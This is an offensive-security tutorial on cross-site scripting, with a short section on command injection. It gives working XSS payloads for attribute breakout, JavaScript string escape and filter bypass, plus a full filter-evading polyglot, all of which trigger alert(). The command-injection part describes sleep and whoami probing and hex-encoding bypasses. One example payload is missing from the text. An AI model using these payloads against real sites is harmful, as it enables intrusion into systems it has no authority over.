How to perform XSS attacks

To put simply, XSS is just tricking the browser into executing javascript code by providing malicious user input.

Take this for example:

<div>
    <h1> Welcome {your input} </h1>
</div>

This webpage is expecting you to provide your name using some input field. Now imagine, if your name was ”. The browser would load the following html code.

<div>
    <h1> Welcome <script>alert('XSS')</script></h1>
</div>

Thus executing java-script on your browser. It’s just that, tricking the browser to run javascript.

This exploit is one of the most common vulnerability and will be found almost every website you visit. It’s so common that even rookie developers implement a few checks to make sure you can’t use XSS injections on their webpage.

Example 1:

<div>
    <h1> Welcome <input value="{your input}"</h1>
</div>

Now, if you try to use our previous payload, it won’t execute. Because that payload would yield:

<div>
    <h1> Welcome <input "<script>alert('XSS')</script>"</h1>
</div>

Anything within double quotes is considered as a string and hence wouldn’t execute. So, to bypass this you must escape the double quoutes or preferably the entire input tag. So your payload must look like “"><script>alert('XSS');</script>”

<div>
    <h1> Welcome <input ""><script>alert('XSS')</script></h1>
</div>

Example 2:

Sometimes, browser may use javascript to reflect your input.

<script>
    document.getElementsByClassName('name')[0].innerHTML='{input}';
</script>

Looks scary and complex, doesn’t it? Well it’s not! All you have to do is escape this javascript command such that browser runs your payload successfully.

In Java script, each statement is terminated using a semi-colon. So our payload must look something like this ';alert('XSS');// . // at the end will indicate that everything after our payload should be commented. Hence we don’t get any compilation errors.

<script>
    document.getElementsByClassName('name')[0].innerHTML='';alert('XSS');//
</script>

Example 3:

A lot of times, the word script gets removed from your payload, that's because there is a filter that strips out any potentially dangerous words.

Original Payload:

<sscriptcript>alert('XSS');</sscriptcript>

Text to be removed (by the filter):

script

Final Payload (after passing the filter):

<script>alert('XSS');</script>

Example 4: Polyglots:

An XSS polyglot is a string of text which can escape attributes, tags and bypass filters all in one. This is an all in one bypass for previously mentioned filters

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('XSS') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('XSS')//>\x3e

Command Injection

This vulnerability exists because applications often use functions to pass data and make system calls on the machine’s operating system without properly sanitizing the input. Resulting in RCE directly via your browser

There are two types of command injections namely, Blind and Verbose. Blind injection don’t give you any output. Whereas verbose do gives you an output.

So how would you even know if you’re command works if you get no output?

For this type of command injection, we will need to use payloads that will cause some time delay. For example,sleep command. This would cause the application to hang for specified amount of seconds. Not the most stealthy, but it gets the job done.

Another method is by forcing some output.

This can be done by using redirection operators such as >. For example, we can tell the web application to execute commands such as whoami and redirect that to a file. We can then use a command such as cat to read this newly created file’s contents.

Detecting Verbose Command Injection

Detecting command injection this way is arguably the easier. Verbose command injection is when the application gives you feedback or output as to what is happening or being executed.

For example, the output of commands such as ping or whoami is directly displayed on the web application.

Input Filters

Sanitizing any input from a user that an application uses is a great way to prevent command injection. This is a process of specifying the formats or types of data that a user can submit. For example, an input field that only accepts numerical data or removes any special characters such as > , & and /.

Bypassing Filters

Applications will employ numerous techniques in filtering and sanitising data that is taken from a user’s input. These filters will restrict you to specific payloads; however, we can abuse the logic behind an application to bypass these filters. For example, an application may strip out quotation marks; we can instead use the hexadecimal value of this to achieve the same result.

Thank you for sticking through this guide. If you have any questions/suggestions, please do let me know :)